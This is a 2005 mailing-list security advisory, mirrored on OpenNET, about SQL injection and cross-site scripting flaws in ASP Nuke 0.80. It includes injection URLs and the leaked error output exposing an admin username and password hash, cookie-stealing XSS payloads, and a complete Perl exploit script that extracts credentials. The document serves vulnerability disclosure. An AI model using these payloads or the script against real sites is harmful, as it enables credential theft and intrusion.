The OpenNET Project
 
Search (keywords):  SOFT ARTICLES TIPS & TRICKS SECURITY
LINKS NEWS MAN DOCUMENTATION


[NT] ASP Nuke Multiple SQL Injection and XSS Vulnerability


<< Previous INDEX Search src Set bookmark Go to bookmark Next >>
From: SecuriTeam <support@securiteam.com.>
To: [email protected]
Date: 25 Apr 2005 15:11:31 +0200
Subject: [NT] ASP Nuke Multiple SQL Injection and XSS Vulnerability
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-Id: <20050425122708.CB15357F3@mail.tyumen.ru.>
X-Virus-Scanned: antivirus-gw at tyumen.ru

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -




  ASP Nuke Multiple SQL Injection and XSS Vulnerability
------------------------------------------------------------------------


SUMMARY

 <http://www.aspnuke.com/>; ASP Nuke is "an open-source software 
application for running a community-based web site on a web server".

The lack of parameter filtering allows attackers to steal information and 
modify/add/delete or just view information from ASP Nuke's database.

DETAILS

Vulnerable Systems:
 * ASP Nuke version 0.80

SQL Injection:
ASP Nuke has many pages that are vulnerable to SQL Injections.

Example #1:
The following URL can be used to trigger an SQL injection vulnerability in 
the comments.asp page: 
http://localhost/module/support/task/comments.asp?taskid='SQL_INJECTION
SQL INJECTION

Error # -2147217900 (0x80040E14)
Unclosed quotation mark before the character string 'SQL_INJECTION AND 
tsk.Active <> 0 AND tsk.Archive = 0'.
SELECT tsk.TaskID, tsk.Title, tsk.Comments, tsk.PctComplete, 
usr.FirstName, usr.LastName, pri.PriorityName, sta.StatusName, 0 As 
CommentCount, tsk.Created FROM tblTask tsk INNER JOIN tblUser usr ON 
tsk.UserID = usr.UserID INNER JOIN tblTaskPriority pri ON pri.PriorityID = 
tsk.PriorityID INNER JOIN tblTaskStatus sta ON sta.StatusID = tsk.StatusID 
WHERE tsk.TaskID = 'SQL_INJECTION AND tsk.Active <> 0 AND tsk.Archive = 0

Exploit:
To the get the username:
http://localhost/module/support/task/comments.asp?taskid=Username--

This would result in:
Error # -2147217913 (0x80040E07)
Syntax error converting the varchar value 'admin' to a column of data type 
int.
SELECT tsk.TaskID, tsk.Title, tsk.Comments, tsk.PctComplete, 
usr.FirstName, usr.LastName, pri.PriorityName, sta.StatusName, 0 As 
CommentCount, tsk.Created FROM tblTask tsk INNER JOIN tblUser usr ON 
tsk.UserID = usr.UserID INNER JOIN tblTaskPriority pri ON pri.PriorityID = 
tsk.PriorityID INNER JOIN tblTaskStatus sta ON sta.StatusID = tsk.StatusID 
WHERE tsk.TaskID = Username-- AND tsk.Active <> 0 AND tsk.Archive = 0

With "admin" being the username

To the get the password:
http://localhost/module/support/task/comments.asp?taskid=Password--

This would result in:
Error # -2147217913 (0x80040E07)
Syntax error converting the varchar value 
'f2349ef3f76a2d980586cb945a1973ba8e9579a9c9411c043be85583f444e015' to a 
column of data type int.
SELECT tsk.TaskID, tsk.Title, tsk.Comments, tsk.PctComplete, 
usr.FirstName, usr.LastName, pri.PriorityName, sta.StatusName, 0 As 
CommentCount, tsk.Created FROM tblTask tsk INNER JOIN tblUser usr ON 
tsk.UserID = usr.UserID INNER JOIN tblTaskPriority pri ON pri.PriorityID = 
tsk.PriorityID INNER JOIN tblTaskStatus sta ON sta.StatusID = tsk.StatusID 
WHERE tsk.TaskID = Password-- AND tsk.Active <> 0 AND tsk.Archive = 0

With "f2349ef3f76a2d980586cb945a1973ba8e9579a9c9411c043be85583f444e015" 
being the password hash encrypted in SHA 256

Example #2:
The following URL can be used to trigger an SQL injection vulnerability in 
the detail.asp page: 
http://localhost/module/support/task/detail.asp?taskid='SQL_INJECTION
SQL INJECTION

Error # -2147217900 (0x80040E14)
Unclosed quotation mark before the character string 'SQL_INJECTION AND 
tsk.Active <> 0 AND tsk.Archive = 0'.
SELECT tsk.TaskID, tsk.Title, tsk.Comments, usr.FirstName, usr.LastName, 
pri.PriorityName, sta.StatusName, 0 As CommentCount, tsk.Created FROM 
tblTask tsk INNER JOIN tblUser usr ON tsk.UserID = usr.UserID INNER JOIN 
tblTaskPriority pri ON pri.PriorityID = tsk.PriorityID INNER JOIN 
tblTaskStatus sta ON sta.StatusID = tsk.StatusID WHERE tsk.TaskID = 
'SQL_INJECTION AND tsk.Active <> 0 AND tsk.Archive = 0

Exploit:
To the get the username:
http://localhost/module/support/task/detail.asp?taskid=Username--

This would result in:
Error # -2147217913 (0x80040E07)
Syntax error converting the varchar value 'admin' to a column of data type 
int.
SELECT tsk.TaskID, tsk.Title, tsk.Comments, usr.FirstName, usr.LastName, 
pri.PriorityName, sta.StatusName, 0 As CommentCount, tsk.Created FROM 
tblTask tsk INNER JOIN tblUser usr ON tsk.UserID = usr.UserID INNER JOIN 
tblTaskPriority pri ON pri.PriorityID = tsk.PriorityID INNER JOIN 
tblTaskStatus sta ON sta.StatusID = tsk.StatusID WHERE tsk.TaskID = 
Username-- AND tsk.Active <> 0 AND tsk.Archive = 0

With "admin" being the username

To the get the password:
http://localhost/module/support/task/detail.asp?taskid=Password--

This would result in:
Error # -2147217913 (0x80040E07)
Syntax error converting the varchar value 
'f2349ef3f76a2d980586cb945a1973ba8e9579a9c9411c043be85583f444e015' to a 
column of data type int.

SELECT tsk.TaskID, tsk.Title, tsk.Comments, usr.FirstName, usr.LastName, 
pri.PriorityName, sta.StatusName, 0 As CommentCount, tsk.Created FROM 
tblTask tsk INNER JOIN tblUser usr ON tsk.UserID = usr.UserID INNER JOIN 
tblTaskPriority pri ON pri.PriorityID = tsk.PriorityID INNER JOIN 
tblTaskStatus sta ON sta.StatusID = tsk.StatusID WHERE tsk.TaskID = 
Password-- AND tsk.Active <> 0 AND tsk.Archive = 0

With "f2349ef3f76a2d980586cb945a1973ba8e9579a9c9411c043be85583f444e015" 
being the password hash encrypted in SHA 256

Example #3:
The following URL can be used to trigger an SQL injection vulnerability in 
the article.asp page: 
http://localhost/module/article/article/article.asp?articleid='SQL_INJECTION
SQL INJECTION

Error # -2147217900 (0x80040E14)
Unclosed quotation mark before the character string 'SQL_INJECTION AND 
art.Active <> 0 AND art.Archive = 0'.
SELECT art.ArticleID, art.Title, art.ArticleBody, auth.FirstName, 
auth.LastName, cat.CategoryName, art.CommentCount, art.Created FROM 
tblArticle art INNER JOIN tblArticleAuthor auth ON art.AuthorID = 
auth.AuthorID INNER JOIN tblArticleToCategory atc ON atc.ArticleID = 
art.ArticleID INNER JOIN tblArticleCategory cat ON atc.CategoryID = 
cat.CategoryID WHERE art.ArticleID = 'SQL_INJECTION AND art.Active <> 0 
AND art.Archive = 0

Cross Site Scripting:
The following URL can be used to trigger the cross site scripting 
vulnerability found in the profile.asp page:
http://localhost/module/discuss/forum/profile.asp?topicid=1& 
thradid=346&username='%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://localhost/module/support/language/select.asp? 
code='%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

Exploit (Username and Password retrieval):
#!/usr/bin/perl

use IO::Socket;
use Getopt::Std;
print "[x]ASP NUKE 0.80 and below Comments.asp Sql Injection Exploit\n";
print "[x]By Diabolic Crab\n";
print "[x]http://www.digitalparadox.org\n\n";

getopt("h:p:");

$opt_p ||= 80;

if(!$opt_h) {
    die("[x] Usage: $0 -h <host> [-p <port>]\n");
}

$sqlpass = "/module/support/task/comments.asp?taskid=Password-- 
HTTP/1.0\n";
$sqllogin = "/module/support/task/comments.asp?taskid=Username-- 
HTTP/1.0\n";

print "[x] Host: $opt_h\n";
print "[x] Port: $opt_p\n";

$Q1 = "GET $sqllogin";
$Q1 .= "Host: ".$opt_h."\n\n";

$Q2 = "GET $sqlpass";
$Q2 .= "Host: ".$opt_h."\n\n";

$s = IO::Socket::INET->new(Proto => 'tcp', PeerAddr => $opt_h, PeerPort => 
$opt_p) or die("Can't connect!");
$s->send($Q1);
$s->recv($usr, 1024);

$s = IO::Socket::INET->new(Proto=>'tcp', PeerAddr => $opt_h, PeerPort => 
$opt_p) or die("Can't connect!");
$s->send($Q2);
$s->recv($pass, 1024);

$s = index($usr,"'");
$e = index($usr,"'", $s + 1);
$f = $e - $s - 1;
print "[x]Username in SHA 256 is: ";
print substr($usr, $s + 1, $f);
print "\n";

$s = index($pass,"'");
$e = index($pass,"'", $s + 1);
$f = $e - $s - 1;
print "[x]Password hash in SHA 256 is: ";
print substr($pass, $s + 1, $f);
print "\n";

#EOF


ADDITIONAL INFORMATION

The information has been provided by  <mailto:dcrab@hackerscenter.com.> 
Diabolic Crab.




This bulletin is sent to members of the SecuriTeam mailing list. To unsubscribe from the list, send mail with an empty subject line and body to: [email protected] In order to subscribe to the mailing list, simply forward this email to: [email protected]

DISCLAIMER: The information in this bulletin is provided "AS IS" without warranty of any kind. In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

<< Previous INDEX Search src Set bookmark Go to bookmark Next >>



Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2025 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру